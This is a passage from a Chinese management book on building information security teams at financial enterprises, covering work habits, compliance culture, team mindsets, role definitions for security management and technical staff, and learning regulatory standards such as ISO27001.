·对邮件要分类建立文件夹,例如,“已处理”文件夹,放置已经看过或已经处理完且以后不需要再看 的邮件;“待参阅”文件夹,放置将来随时要执行的制度流程要求或者某些知识性的邮件,并将邮件标题 修改为关键字的索引,方便今后查找和翻阅;“待处理”文件夹,放置自己要做且不能马上处理完、要制 订后续计划的邮件,同时立即设置一条工作日历,提醒自己完成时间,并且在计划管理工具上立即建立 一条对应任务,制订计划;“委办”文件夹,放置已经通知别人准备、自己到时候看结果的邮件,同时立 即设置一条工作日历,提醒别人应该回复的时间,如果没有按时收到回复则立即督办。按照上述分类邮 件后,收件箱中的内容就会变得很少,待办事项如果没处理完就会一直放着,每天下班前检索一次,不 易遗漏。 ·每封邮件只看一次,且当日事当日毕。很多人邮箱里积累着成百上千封的未读邮件,“冰冻三尺,非 一日之寒”,这些绝对不是一夜之间堆积起来的,而是对待邮件“拖延症”的后果。如果总是想着“有时间再 来处理”,那些没有读过的邮件就会永远在邮箱中保留下来。因此,每封邮件打开后都要马上处理,做出 立即行动、转发他人完成、转成工作计划、阅知即可等判断,并且尽力在结束一天工作的时候,实现收 件箱里空空如也的目标,确保当天的所有邮件都被妥当处理。这不是一个容易养成的习惯,但是却会带 来极高的工作效率,以及每天下班后的踏实感。 ·总结和创建邮件模板。根据信息安全工作性质,总结出若干个常用邮件模板,可以提高效率,避免 重复劳动。例如,安全检查结果通报、安全整改工作督办、发现漏洞情况通报等,都可以积累形成模 板。建立好模板库后,今后类似工作都可以从中搜索出结构相近、可重复利用的内容,大大缩短邮件创 建的时间。 四是认真完成文档撰写的习惯。信息安全团队工作任务中很大一部分是“写报告”,如提交给监管机 构的安全自查报告、提交给管理层的风险排查报告、提交给审计或合规部门的整改工作报告等,所以文 档撰写能力非常重要。文档撰写要注意以下几点: ·力求逻辑严密。文字功底不是一朝一夕可以练就,但工作文档的逻辑却是有章可循的,可以通过技 巧来实现“速成”。在文档撰写前必须先思考,用什么样的逻辑才能够清楚表达自己的思想,展现自己的 工作成果;逻辑清晰后,先列出工作提纲,再补充“血肉”。麦肯锡国际管理咨询公司的咨询顾问巴巴拉· 明托(Barbara Minto)编著的《金字塔原理》一书,对于文档的逻辑给出了非常好的定义和方法论的指 导,其中特别提出MECE(Mutually Exclusive Collectively Exhaustive)的原则,中文意思是“相互独立, 完全穷尽”,也就是对于一个重大的议题,要做到不重叠、不遗漏的分类,而且能够把握住问题的核心和 关键点,非常值得在工作中参考借鉴。 ·注意阅读对象。每一份文档、报告在构思和落笔前,先要问自己几个问题—文档的阅读对象是谁? 需要让他/她关注或记住的几个要点是什么?需要他/她解决的问题是什么?信息安全团队报告的对象包括 监管机构、行内董事会或高管层、审计或合规部门、部门领导、其他兄弟团队等,对于不同的阅读对 象,信息披露的范围、风险描述的程度和方式都不一样,是“报告”还是“请示”,是“报喜”还是“报忧”,是 要让对方对风险状况“放心”还是对风险严重程度引起“重视”,是要单刀直入讲问题还是先铺垫背景等,这 些决定了行文的口气、内容选择、文档结构组织方式等关键要素,需要针对阅读对象以及想要解决的问 题来组织逻辑和语言。 ·避免低级错误。这是最容易犯的毛病,在日常工作中,大家总是会出现标点符号错误、错别字、语 句不通顺、附件版本错等看似“低级”的错误,很多人都不重视,认为就是粗心而已,不影响大局。其实 不然。所谓“见微知著”,细节做不好,反映的是态度有问题。试想,如果信息安全团队交出来的安全检 查报告错字连篇,那安全检查本身,能让人相信是踏踏实实认认真真做的吗,质量和效果能得到保证 吗?因此,需要养成习惯,每次邮件发出前或者提交文档前,自己从头到尾通读一遍,看看有没有错别 字或用错的标点符号,语句是否通顺,邮件标题是否符合标准,附件是否是修改后的最终版本等。 综上,只要养成良好的工作习惯,脚踏实地、求真务实地做好当下的每一件事情,戒骄戒躁,把每 一步的基础都夯实了,结果自然会水到渠成。 6.培养洁癖 长期从事信息安全工作的人,由于与病毒、木马、漏洞、风险等经常打交道,会存在“职业病”,看 到某些不合规、有风险的地方就会极其敏感、周身不自在。 例如,在工作中经常存在以下合规方面的错误意识: ·只要主观意愿和出发点是好的,违规一两次也情有可原。 ·心存侥幸,不严格按照制度和操作规程一步步操作,而是认为只要没有被发现就算过关。 ·以前都是这样做的,照做就是了,不用管合规不合规。 ·效率至上,片面追求“快”,把事情做完就好,不合规也没关系。 ·人情代替制度,领导要求的、其他兄弟团队想知道的、其他部门想知道的,即使制度不允许,告诉 他们也没有关系。 ·只要不违反大的制度流程就行了,个别的小细节没做到位也不算违规。 ·个别流程找不到书面流程作为依据,那自己想怎么做就怎么做。 ·虽然违反了制度流程要求,但是没有给企业造成损失,或者反而还帮企业节省了成本或费用,这种 做法不违规。 上述现象,对于很多金融企业都是常见情况,对于很多人来说都习以为常,但对于“有洁癖”的安全 团队来说,是不可容忍的,他们对上述情况会有很强的风险敏感性,会习惯性地对这些不合规的现象刨 根究底、决不轻易放过。正是这种对每一个环节每一个细节都要求出色、完美,不忽视任何一个违规细 节的习惯,才是信息安全团队的专业素养之一,才让信息安全团队与众不同,才让信息安全团队履行自 己的使命和职责,尽全力去维护一个合规、干净的企业安全环境。 5.4 安全团队意识建设 《易经·系辞》中有句话“形而上者谓之道,形而下者谓之器”,这是中国古代哲学的重要范畴,儒家 哲学中无形的或未成形体的东西,与表示有形的或已成形的东西的对称。映射到信息安全领 域,“道”与“器”,可以理解为精神和意识层面未成形的“道”,和技能、工具层面的“器”之间的相互呼应和 对称。 对于信息安全团队来说,团队文化可以说是在整体层面的“道”,而团队的意识则是一种更具体化 的“道”。以下几种意识,是信息安全团队需要特别注重培养的意识。 1.客户意识 对于任何一个组织来说,满足客户需求都是首要和核心的任务。信息安全团队作为一个行使独立功 能的“组织”,也同样需要满足客户的需求。参考管理大师彼得·德鲁克(Peter F.Drucker)的“经典五问”, 信息安全团队需要反复地问自己这样几个问题:我们的使命是什么?我们的客户是谁?我们的客户重视 什么?我们的成果是什么?我们的计划是什么? 这些问题的答案,必须围绕一个核心来找寻,即“客户”。只有先识别客户,然后分析客户的需求, 才能确定团队的使命、工作目标和工作成果,进而才能有工作计划。 信息安全团队的客户,分为以下两大类: 一是行外客户。金融企业服务的所有客户,包括资产端、资金端、中间业务等业务的客户,都是信 息安全团队需要服务的对象。信息安全工作,需要围绕如何保障客户资金安全、客户信息安全、客户服 务能够正常提供等内容开展。通过设计合理的业务逻辑、采取严密的身份验证措施和交易验证措施、建 立风险监测模型、部署安全防控工具、加强运维保障等手段,在尽量简化客户操作、优化客户体验的同 时,向客户提供安全稳定的服务。 二是行内客户。从广义上看,行内的董事会和高管层,信息科技风险防范的第二第三道防线(合 规、风险、审计等部门)、各管理部门和业务部门,信息科技部门的其他团队,都是信息安全团队的服 务对象。信息安全工作,需要围绕合法合规、识别并化解风险等方面开展,通过监管要求对照达成、规 章制度建设、信息安全管理体系建设、安全意识宣贯和培训等方式,主动地向行内客户披露风险,采取 措施规避或降低风险,督促安全整改任务的完成,确保信息科技工作的安全合规。 不管是行内还是行外的客户,信息安全团队都需要在完成工作任务的时候心中时刻考虑这些客户的 核心诉求,考虑如何做才能让客户满意度提升,如何主动开展工作才能帮助客户规避风险,如此方能有 的放矢,措施行之有效。 2.责任意识 正如俗语所说,“安全责任重于泰山”,金融企业的信息安全团队时刻与风险打交道,一个疏忽就可 能导致风险无法被及时发现,一个放纵就可能导致风险无法得到及时的处置,而一个风险就可能导致客 户重大的损失。在此环境下,信息安全团队每个成员的责任心就显得异常重要。 不管信息安全团队的成员负责的是整个安全规划的设计,还是某个安全制度的修订、安全技术策略 的调整,都必须把责任意识放在极高的位置,把自己看成整个企业安全防控的责任人,对安全防控的整 体结果负责,绝对不能“千里之堤,溃于蚁穴”。 有了责任意识,就会认真细致地制订方案计划,就会不放过任何一个风险隐患的蛛丝马迹,就会发 现风险后立即承担责任并确保整改到位,就会遇到问题绝不退缩而是积极寻求解决方案,就会坚持学习 了解新的安全动向并查漏补缺,就会努力调动一切资源来达成安全防控的目标。 3.风险意识 信息安全团队是为金融企业客户安全保驾护航的“风险清道夫”,对于风险必须有最强的敏感性和最 小的容忍度。“看不见的风险是最大的风险”,信息安全团队必须练就“火眼金睛”,先要识别风险,继而尽 最大的努力化解风险。 关于信息安全事故、风险、隐患的存在与发展,有几个重要的理论和法则: ·“冰山理论”,冰山浮出水面的部分仅占总体积的十分之一左右,其余大部分深藏于水下。 ·“海恩法则”,每一起严重的航空事故背后,必然有近29起轻微事故和300多起未遂事故先兆,以及 1000起事故隐患。 ·“墨菲定律”,如果坏事有可能发生,不管这种可能性多么小,它总会发生,并引起最大可能的损 失。 从上述三条安全界的著名定律可以推导得出,真正令人害怕的,并不是已经发生的、可见的事故, 而是更多潜藏的未知隐患和威胁。要避免发生严重的事故,就必须像轮船发现水面以下的冰山那样,提 前发现事故隐患,并将其扼杀在萌芽状态。 因此,信息安全团队必须建立对风险的“敬畏之心”,不能把安全防控重点放在风险事件发生之后疲 于奔命的应急处置,不应该总是担任“救火队员”,而应该将风险前移,将工作重心放在事前预防、事中 控制,重点放在对尚未暴露的风险隐患的排查、发现和及时化解,做到未雨绸缪,心中有数,防患于未 然。当然,如果风险事件万一真正发生了,也不要逃避,而是应该深入总结分析,查明根本原因,举一 反三,落实整改措施,直至彻底解决。 4.创新意识 随着新技术的发展和新业务、新产品的涌现,信息科技的治理架构、技术架构和运维模式不断演 化,以适应激烈的市场竞争。伴生于信息科技建设的信息安全工作也在新形势下面临着新问题,现有的 信息安全防控体系存在着防范不足、失当甚至失效的风险,传统的安全基础架构和安全技术工具在新形 势下显得捉襟见肘,逐渐力不从心。 按照传统的安全思维和信息安全工作定位,信息安全的发展往往相对滞后于业务的快速创新和技术 的高速发展。然而,在新的形势下,信息安全工作也必须与时俱进,信息安全团队必须树立创新意识, 从创新中寻求突破和发展。 第一是理念的创新。在新的科技创新形势和新技术层出不穷的环境下,新技术风险的暴露以及随之 而来的攻击手段创新,给信息安全风险防范带来了前所未有的压力和挑战。例如,云计算发展使金融企 业的网络边界被打破,移动应用让终端安全管理成为挑战,大数据使信息保护的难度被放大。信息安全 团队从理念上认识到创新的重要性,时刻更新自己的理念,深入分析新技术、新形势下存在的新风险, 掌握业务和技术发展趋势,加快新技术的学习,抓住新技术中的关键风险点,针对性地建立防控措施。 第二是制度的创新。制度创新包括组织架构的创新、管理体系的创新、工作流程的创新和管理制度 的创新等。为了更好地发挥信息安全工作对业务和其他科技工作的支撑作用,信息安全团队必须建立一 套能快速响应互联网和金融科技创新形势的信息安全管理组织、机制、流程和制度体系,根据最新的监 管要求、国际国内安全管理体系标准和技术规范,持续不断地更新迭代,既防控住关键风险,又不显著 影响工作效率。 第三是技术的创新。金融企业普遍部署了防病毒软件、防火墙、IPS/IDS、WAF等安全相关的工具软 件,以防范外部的攻击入侵。这些常见的传统安全防御手段主要针对传统业务和技术架构进行设计和部 署。但是,随着技术不断进步,新技术往往引入新的架构和新的业务模式,一方面,存在新技术引入的 新风险,大量的新漏洞呈现集中爆发趋势,系统安全受到威胁,传统的风险管控手段滞后,无法满足新 风险的防范要求;另一方面,金融企业引发的关注度增加,获利性吸引力增强,导致面临的攻击加大, 而攻击方法和工具的进化速度总是领先于防控平台,传统的安全防范技术已经无法完全满足新形势下的 安全保障要求。因此必须大幅加强安全技术的创新应用,如威胁情报分析、安全态势感知与安全大数据 分析、人工智能等,才能应对千变万化的安全威胁。 要保持创新的理念、制度和技术,需要信息安全团队持续不断地跟踪、掌握和研判国内外发展态 势,结合自身的深入思考,形成创新的氛围,专项研究创新成果的转化应用。 5.学习意识 当今时代,新理念、新技术层出不穷,新攻击趋向产业化,新漏洞出现常态化,任何在信息安全方 面因循守旧的传统金融企业,都可能面临安全防线被攻破的风险。 因此,必须打造学习型的信息安全团队,提高团队全体成员的学习意愿,激发学习潜力,才能保持 源源不断的原动力,实现有效的风险防范。 ·从信息安全团队负责人开始,就要在思想上提高认识,以身作则地学习,并在整个团队内部达成共 识,形成向学习型组织进化的融洽氛围。 ·要加强对员工的教育和引导,激发员工的主观能动性,实现从“要我学、要我做”到“我要学、我要 做”的转变,使员工的个人追求和个人价值体现与安全团队目标和安全团队价值观保持一致。 ·要推动从学习到生产的转化,鼓励员工切实把学习的内容消化、吸收并且变为对工作有帮助的原材 料,最终实现事半功倍的产出。 ·鼓励和营造团队内部互相交流和探讨的气氛,通过企业内训、员工之间互相培训、内部交流会等形 式,达到“1+1>>2”的效果,将个人智慧转化为集体智慧。 通过打造学习型团队,可以提高信息安全团队对信息科技风险的掌控能力,也同时提高对风险的预 判和防控能力,既避免“看不见的风险”,又能随时从容应对“已看到的风险”。 6.沟通意识 沟通在任何工作中的重要性都毋庸置疑。对于信息安全团队来说,大量的风险控制工作并非由自身 完成,需要通过持续不断的沟通,来实现风险管控的目标。因此,必须在整个团队内部营造随时沟通的 融洽氛围,对团队外部注意沟通的方式方法,实现良好的沟通效果。 ·通过沟通实现“管理”上级。信息安全工作的目标没有统一范式,必须通过沟通去逐步确定。例如, 信息安全工作目标是否与企业战略目标、信息科技战略目标保持一致,信息安全工作相关成本与效益的 平衡点如何把控,信息安全投入和管控的重点在哪里,都需要向信息科技部门的负责人、首席信息官、 高管层、董事会等做各种各样的报告,通过多轮的沟通,方可确定。因此,需要通过良好的沟通方式, 争取上级的支持。为了更好地“管理”上级,需要掌握几个沟通的小技巧:站在上级的角度思考,用数字 和事实说话,建立固定的沟通机制(包括时间、频率、汇报模板等),凡事带着解决方案去请示(说明 各套方案的优缺点),等等。 ·通过沟通横向协调和合作。信息安全工作不是金融企业的主营业务,但是对主营业务会产生一定的 制约作用,因此需要加强横向的沟通。与其他部门的沟通、部门内部其他团队的沟通,目的都是为了更 好地协作,达成金融企业的整体目标,确保安全这个“大后方”对前沿阵地的有效支持。积极主动地进行 横向沟通,向对方讲清楚信息安全工作的必要性和目标,以及对客户、业务、科技其他工作的帮助作 用,让大家理解安全不是为了“制约”而是为了“保护”,从而从心底理解和接受信息安全工作的出发点,心 甘情愿地配合信息安全团队的工作,这样就能事半功倍,更好地达到风险管控的效果。 ·通过沟通管理团队。信息安全团队内部必须建立顺畅的沟通文化,必须通过沟通确保团队成员对工 作规划、工作目标、实现方法理解一致。在任何一个团队成员遇到困难时,必须敢于及时提出,并利用 团队的力量共同讨论、沟通、协调并解决。 信息安全团队可以这样理解沟通的意义:上级、平级、下级都是可以利用的资源,沟通就是通过努 力协调全方位的资源,用于达成信息安全管理的目标,从而实现信息安全对企业目标的支撑和保驾护航 作用的过程。 5.5 安全团队能力建设 根据中国信息安全测评中心发布的《中国信息安全从业人员现状调研报告(2017年度)》,我国信 息安全从业人员年龄大多在20~40岁之间(占比88.4%),65.9%的人员从业年限在5年以内,仅15%是信 息安全专业毕业。可见,信息安全从业人员相对较为年轻,信息安全行业经验较短,且绝大部分并非信 息安全专业毕业的“科班生”。因此,该报告得出判断,“整体信息安全人员的职业发展都处于初步成型阶 段”。 表面上看这些都是信息安全团队的劣势,但凡事皆有两面性,只要用心加以转化,劣势就可以变为 优势。信息安全团队成员虽然普遍从业年限不长,存在一定的知识和技能短板,但年轻的团队处于学习 和成长的旺盛期,只要推动组建学习型组织,建立合适的知识结构,形成有效的思维模式,就能推动团 队快速进步。 一个好团队的建设标准,可以采用“两个离开”来衡量: ·团队成员要有能力离开,这就要求提升团队成员的知识和技能。 ·团队成员不愿意离开,这就要求持续提升团队凝聚力以及团队成员的价值感和归属感。 “能力+意愿”二者的结合,必能打造一支优秀的、战斗力强的团队。其中,团队意愿建设有很大的普 适性,已经有大量的书籍和文章研讨,此处不再赘述。团队能力建设具有专业特性,而金融企业信息安 全团队的能力建设更是有鲜明的特点和要求,下文将重点阐述。 金融企业团队的信息安全工作涉及面广、安全保障级别高,对信息安全团队的能力建设提出了更高 的要求,需要通过恰当的专业分工,一方面让每个成员各司其职,使个人职责范围内的知识和技能提升 最大化,另一方面让团队成员之间优势互补,促进团队的整体效率和效能最大化。 信息安全团队能力建设,可以分为以下几个步骤: 1)确定团队工作目标,找准主要矛盾,明确团队整体职责。 2)根据资源情况、团队成员特点,将团队的整体职责进行梳理并细分为若干子团队的职责。 3)根据职责分工,确定各团队成员的知识和技能需求,再根据团队的知识和技能背景,找出差距, 制订有针对性的培养提升计划。 4)掌握学习方法,实现事半功倍的效果。 以下依次说明每个步骤的实践方法。 5.5.1 确定目标,找准主要矛盾 金融企业的信息安全工作目标通常分为两部分: ·安全管理类,主要是满足监管合规性要求和防范科技工作流程中的风险。 ·安全技术类,主要是通过各种各样的技术防控手段,防范攻击入侵、信息泄露等信息安全风险。 不同发展阶段的金融企业,上述目标的侧重性会不一样。与科技企业、互联网企业等“技术流派”不 同的是,金融企业的安全团队往往优先满足第一类目标,因为金融企业面临的监管要求多,合规性是对 外经营的基础,必须优先保障制度流程的完善及操作过程的合规。第二类目标一般先通过部署基本的安 全工具(如防火墙、防病毒、IDS、WAF等)实现技术防控,再依托第三方安全专业机构的外包资源做渗 透测试、漏洞扫描和日常安全监测等。 要根据本企业的特点和信息安全工作发展阶段,抓住当前信息安全团队工作的主要矛盾,确定安全 团队的关键职责和团队能力建设的重点: ·如果距监管要求的达成还有较大差距,安全团队就要先把主要精力放在合规性方面,安全技术防控 方面先部署基本的技术工具,并适当利用外包资源。此时安全团队的关键职责就是构筑信息安全的底 线,开展监管要求符合性分析和差距整改、信息安全管理体系建设、制度流程完善、内部安全检查等工 作,将安全技术工具维护和安全外包服务作为辅助职责。 ·如果信息安全管理工作已经达到一定水平,就要持续坚持信息科技合规建设不放松,同时加快培养 安全技术防控能力。此时安全团队的关键职责需要兼顾管理和技术两方面,在巩固既定的安全管理长效 机制的同时,逐步建立一体化、自动化、智能化的纵深防御技术体系,在安全工具和平台的新增引入和 升级、安全技术策略的持续优化、安全技术服务的综合化和多样化、安全攻防的深入化等方面下大功 夫。 5.5.2 梳理和细分团队职能 金融企业的信息安全团队工作目标、主要矛盾、关键职责等方向性的内容确定后,需要对团队职能 开展进一步的细化,明确具体的工作任务。 1.信息安全管理职能 信息安全管理职能,即通过管理手段防范信息科技风险。主要包括: ·主要负责信息安全管理策略、制度、流程的制定和优化,确保各项信息科技监管要求在行内制度和 流程中得到贯彻,即“有章可循”。 ·对各种监管合规要求、制度流程的执行情况进行检查和监督,确保制度流程在日常工作中落实到 位,即“有章必循”。 主要工作职责包括但不限于以下几项: ·负责信息安全整体规划设计和计划管理。组织制订符合金融企业科技规划和风险偏好的信息安全规 划,确定信息安全工作的愿景、使命、价值观和发展方向,明确信息安全工作的长期和短期目标,摸查 现状和目标的差距,制订具体实施路径;制订年度信息安全工作计划并组织分解任务,确保计划达成。 ·负责金融领域信息科技相关监管要求的达成。负责组织落实国家监管机构及行业组织颁布的信息安 全管理要求和规章制度要求,对于不符合项组织排查和整改到位;负责向监管机构、行业组织及行内职 能部门等报送信息科技风险监测情况,满足监管机构对信息安全的监测要求;保持与监管机构和信息安 全机构的良好沟通与联络,掌握同业信息安全管理控制的动态信息,指导内部信息安全工作;建立完善 与监管机构、行业组织、重要客户的沟通联络应急机制,保持应急机制的有效性。 ·负责信息安全管理体系建设及维护工作。对于需要通过或持续维护ISO27001认证的企业,采用 ISO27001信息安全管理体系为标准,借鉴国际信息安全管理最佳实践经验,制定信息安全策略和方针, 系统梳理企业信息安全管理存在的风险,采取有效措施防范信息安全风险,提高自身信息安全管理水 平;获得由国家权威机构颁发的ISO27001信息安全管理体系认证证书,提升企业形象和外部认可;持续 维护信息安全管理体系并每年通过国家权威机构的年审,确保风险管理机制的长期可持续性。 ·负责信息科技规章制度和流程的制定和优化完善。收集整理并组织落实国家监管机构及行业组织颁 布的信息安全规章制度和管理要求;将外部要求转化为内部制度和流程,建立健全科技规章制度体系, 组织规章制度的制定、宣讲、评估、修订、废止等全生命周期管理;组织开展信息科技规章制度检查, 检查各项制度流程的执行落实情况,评估制度流程的有效性和可操作性,适时开展制度修订或废止;负 责将制度要求落实到内部管理系统中,实现制度要求的技术硬约束。 ·负责外部信息安全检查的组织和配合。负责具体组织、协调、配合监管机构、行业组织等外部单位 以及内部审计部门、风险管理部门、合规部门等开展的信息科技检查工作;针对监管机构现场或非现场 检查、内部审计、外部审计以及风险评估发现的风险,组织落实信息安全风险整改,控制和化解风险。 ·负责信息科技内部风险检查和评估。组织信息科技内部合规性检查、风险评估、整改机制的制定和 落实,确保风险被主动的发现和整改,总体控制信息科技风险。 ·负责组织其他部门和分支机构的信息安全工作。组织对其他部门和分支机构的信息安全现场和非现 场检查和监督,确保信息安全制度和要求在全行的贯彻落实。 ·负责组织信息科技突发事件的应急处置。组织信息科技突发事件和信息安全攻击事件的监控和分 析,向监管部门和行内管理层报告,协调应急处理,控制突发事件带来的影响和损失。 ·负责全辖安全团队建设和培训宣传。组织分支机构建立信息安全岗位,负责岗位人员的培养;负责 全体员工信息安全意识教育和培训。 2.信息安全技术职能 通俗地讲,信息安全技术职能就是要通过技术措施,实现让攻击者“进不来,拿不走,打不开”的目 标: ·“练内功”,致力于提高信息系统自身的健壮性和免疫力,通过制定安全技术规范,确保金融机构的 信息系统遵循技术规范设计、开发和运维,减少系统运行的风险和漏洞。 ·“防外贼”,在信息系统外围建立“篱笆墙”,通过设计安全技术架构,实施专门的安全技术工具,保 护金融企业信息系统及系统中的数据免遭破坏或泄露。 主要工作职责包括但不限于以下几项: ·负责制订企业级的信息安全技术规划和技术架构。明确安全技术防控目标,构建覆盖物理安全、网 络安全、系统安全、应用安全、数据安全、桌面安全等全方位的技术规划蓝图,确定技术架构体系;摸 查安全技术建设的现状和差距,制订安全技术防控措施的实施路径。 ·负责组织制订和落实信息系统安全技术要求。根据监管机构、行业组织等发布的信息安全技术标准 和规范,组织在行内的落实和转化;制订覆盖物理安全、网络安全、系统安全、桌面安全的信息安全基 线;制订覆盖需求分析、系统设计、编码、测试、投产、运维等全生命周期的应用安全管理技术规范; 通过制订规范、宣讲规范、技术评审、落实情况检查、督促整改的闭环机制,分析评估和化解现有信息 系统安全技术架构和安全措施存在的问题和漏洞,确保安全基线和安全技术规范在生产运维、应用研 发、科技管理等工作中有效贯彻落实。 ·负责信息安全基础设施和技术工具的建设和运维。根据整体技术架构,分步骤地实施防病毒、防火 墙、入侵检测、漏洞扫描、安全事件管理平台、安全情报分析、安全态势感知平台等信息安全技术措 施,负责安全技术策略的建立、调优和维护,开展日常信息安全事件的应急响应和处置,防范安全攻击 和入侵风险。 ·负责安全漏洞检测和防护。信息系统投产前开展网络、系统、数据库、应用等各层面的漏洞扫描和 风险评估,组织漏洞分析排查和修复;组织外部专业安全机构定期开展应用系统渗透性测试,有条件的 组建内部渗透性测试队伍,评估漏洞风险等级并制订修复方案;针对外部披露的漏洞信息、病毒风险、 威胁情报等,组织应急响应和风险防范;组建内部安全攻防队伍,制订安全事件应急预案并开展攻防演 练;组织开展应用系统防病毒、防挂马、防篡改、防钓鱼、抗DDOS攻击等方面的安全监控和应急处置。 ·负责组织开展信息系统安全等级保护工作。按照国家信息安全等级保护相关法规和标准,开展定 级、备案、自查、测评及整改等工作,实现等级保护“同步规划、同步建设、同步运行”。 ·负责信息安全新技术的跟踪研究。组织收集和研究同业信息安全技术及管理发展动态,研究行业信 息安全技术发展趋势,提出信息安全技术和管理发展方向建议。 在准确梳理上述信息安全团队职能的基础上,根据信息安全团队人力资源、当年可以投入信息安全 工作的财务资源情况,确定本企业当前形势下最关键的信息安全职能是哪几项,然后将关键职能分配至 团队成员。最好至少设置安全管理和安全技术两个岗位,在信息安全团队达到一定规模后,可划分为安 全管理和安全技术两个小团队,每个小团队中的成员赋予一部分的职责。 上述步骤完成后,就可以形成信息安全团队岗位职责对照表,如表5-1所示。 表5-1 信息安全团队岗位职责对照表 5.5.3 建立学习框架,提升知识和技能水平 所谓“工欲善其事,必先利其器”,在明确目标和绩效指标后,就要通过持续的学习知识和锤炼技 能,提升安全团队的专业能力,从而达成目标和绩效指标。 要实现高效的学习和提升,需要先构建学习的框架,然后根据框架对照发现自己的不足,并逐步弥 补短板。学习框架主要包括三个方面: ·安全管理类知识和技能。 ·安全技术类知识和技能。 ·其他补充知识。 1.安全管理类知识和技能 安全管理类的知识和技能可以细分为以下七类。 (1)监管要求和行业组织标准 金融企业的监管要求来源和种类较多,包括国家法律法规,以及监管机构发布的制度、指引、通 知、要求、风险提示等,例如《中华人民共和国网络安全法》《商用密码管理条例》等法律法规;银行 业的《商业银行信息科技风险管理指引》《商业银行数据中心监管指引》等监管要求;证券业的《证券 期货经营机构信息技术治理工作指引》《证券期货业信息安全保障管理办法》等监管要求。 行业组织标准,包括国家标准和行业标准。国家标准包括物理安全相关的GB 50174—2017《数据中 心设计规范》、数据安全相关的GB/T 35273—2017《信息安全技术个人信息安全规范》、等级保护相关 的GB/T 22239—2008《信息安全技术信息系统安全等级保护基本要求》等;行业标准包括JR/T 0068— 2012《网上银行系统信息安全通用规范》、等级保护相关的JR/T 0071—2012《金融行业信息系统信息安 全等级保护实施指引》等。 监管要求和行业组织标准异常繁杂,如果全部记住既不现实也没有必要,关键是要能活学活用,这 就要求做好归档并形成地图,同时,安全人员的头脑中要形成一个大致框架和索引,需要的时候知道怎 样能够搜索和引用。 首先是归档。要收集齐全这些监管要求和行业组织标准并随时更新维护,指定信息安全管理团队成 员承担起职责,在每次收到文件后立即集中归档保存,然后按照一定的逻辑形成监管要求文件汇编,建 立知识地图。 其次是学习。信息安全人员应该从多个角度反复学习监管要求和行业组织标准,掌握其中的主要概 念和要求,形成知识框架。主要的学习方法包括: ·按单个监管要求开展纵向通读,对照本企业的情况排查差距。例如,在GB 50174—2017《数据中心 设计规范》更新发布后一个月内,马上组织对照排查物理环境是否满足对应的安全要求。 ·按管理领域进行横向整理。例如,网络安全领域,在法律法规、监管要求、行业组织标准中都会涉 及,需要从各个文件中摘录,并经过合并、去重,整理形成网络安全相关的汇总要求。 ·结合安全检查和风险评估。对照监管要求和行业组织标准,一方面检查制度转化情况,即行内制度 和流程是否有对应的转化和贯彻落实;另一方面检查执行情况,即实际的操作过程和信息系统是否满足 要求。通过在日常检查中不断回顾和巩固,加深对监管要求和行业组织标准的理解和应用。 (2)信息安全管理体系建设标准 现在越来越多的金融企业选择开展ISO27001信息安全管理体系认证。ISO27001标准,是全球应用最 广泛与典型的信息安全管理标准,为金融企业的信息安全管理体系建设提供了很好的参照指南,其理念 主要是针对信息资产进行保护,对系统漏洞、黑客入侵、病毒感染等内容进行防范。 最新版的ISO27001标准是2013年修订的版本,共包括14个控制域、35项控制目标和114项控制措施, 其内容涵盖了信息安全管理和技术的方方面面,是非常完整和细致的。几乎所有想通过认证的金融企业 都不会把认证当作唯一或者主要目标,ISO27001认证的过程,只是在促进金融企业自身完善信息安全管 理体系后,由权威机构对信息安全工作进行复核和认可。 ISO27001认证的主要“实惠”是,通过认证的过程,安全团队可以快速掌握信息安全管理体系相关的 理论知识,并通过全面、系统地梳理、对照、排查本企业在14个控制域内的安全现状,发现安全短板和 漏洞,从而主动化解风险。同时,通过企业内部对安全工作的大力培训和宣传,提升全员安全意识水 平。 (3)已有的制度和流程 通常,金融企业制度流程都比较规范,会形成一套涵盖业务、财务、风险、合规、科技等领域的制 度体系,这些制度流程是金融企业员工日常工作所参照的依据,信息安全团队必须学习掌握其中信息科 技管理和风险管理相关的内容,才能更好地把控企业对于信息科技相关的工作要求。主要包括几个层级 的制度: ·企业级制度,属于全辖都需要遵守的规章制度,信息安全团队重点学习其中的风险政策、风险管理 办法、保密管理办法、客户信息保护相关管理办法、业务连续性管理办法等。 ·其他部门相关制度,例如,审计部门发布的审计准则、审计及整改追踪办法等,风险部门发布的风 险管理、评估、监测相关工作指引,合规部门发布的法律事务相关的规章制度等。 ·信息科技部门相关制度,金融企业通常都会形成涵盖科技管理、开发、测试、运维、信息安全的一 整套制度体系。 对于企业级和其他部门的制度,信息安全管理团队应该有初步了解并形成一个索引,做具体工作的 时候知道要遵循哪些相关要求、从哪些制度中寻找依据,同时确保科技规章制度能符合企业级制度的要 求,与其他部门制度不相冲突。 对于科技规章制度,则要肩负起制定和维护的职责,自己先学习、掌握,然后组织科技条线内部的 学习宣讲,之后通过检查督促执行,最后根据检查结果再检讨制度的合理性,完成制度修订,形成一个 全生命周期的闭环和螺旋上升的机制。 (4)监管要求符合性分析和排查的技能 熟悉掌握监管要求,可以说是金融企业信息安全团队的“安身立命之本”。除了对本行业的信息科技 监管要求做到烂熟于胸之外,信息安全团队还需要对监管要求进行转化,将其变为在企业内落地的条 款,并通过监管要求和企业实际情况的对照分析,排查出本企业的差距,组织实施整改弥补差距。 因此,监管要求符合性分析和排查,是信息安全团队必备和常用的技能。监管要求符合性分析,分 为以下两个层次: 第一个层次是企业内部制度是否符合监管要求。每收到一个新的监管要求,需要对其中的每一个条 款逐个吃透、理解,然后分析该条款可以有行内哪一份规章制度的哪一个条款来对应。如果没有任何一 条制度能达成监管要求,则需要对制度进行补充完善。这一个层次的分析成果就是对照排查结果,以及 制度、发文通知等证明材料。 第二个层次是企业内的执行情况是否符合监管要求和制度规定。这就需要针对监管要求,摸查企业 内部工作流程的执行情况,搜集执行的记录、日志和证据材料,判断执行过程和结果是否符合监管要求 和制度规定。这一个层次的分析成果就是对照排查结果,以及日常执行的记录、项目文档、系统日志等 证明材料。 经过上面两个层次的现状分析和差距对比,得出每一项监管要求的差距项分析结果,然后对存在差 距的项目,确定整改要求和整改责任机构,由责任机构制订并落实整改方案、整改计划、责任人和计划 完成整改时间,并定期反馈整改进展。 监管要求符合性分析工作的输出成果和过程跟踪,可以用一个表格表示,如表5-2所示。 表5-2 监管要求符合性分析对照表示例 (5)信息安全风险检查技能 信息安全风险检查,是信息安全团队的主要工作之一。掌握一定的检查技能,有助于主动发现深层 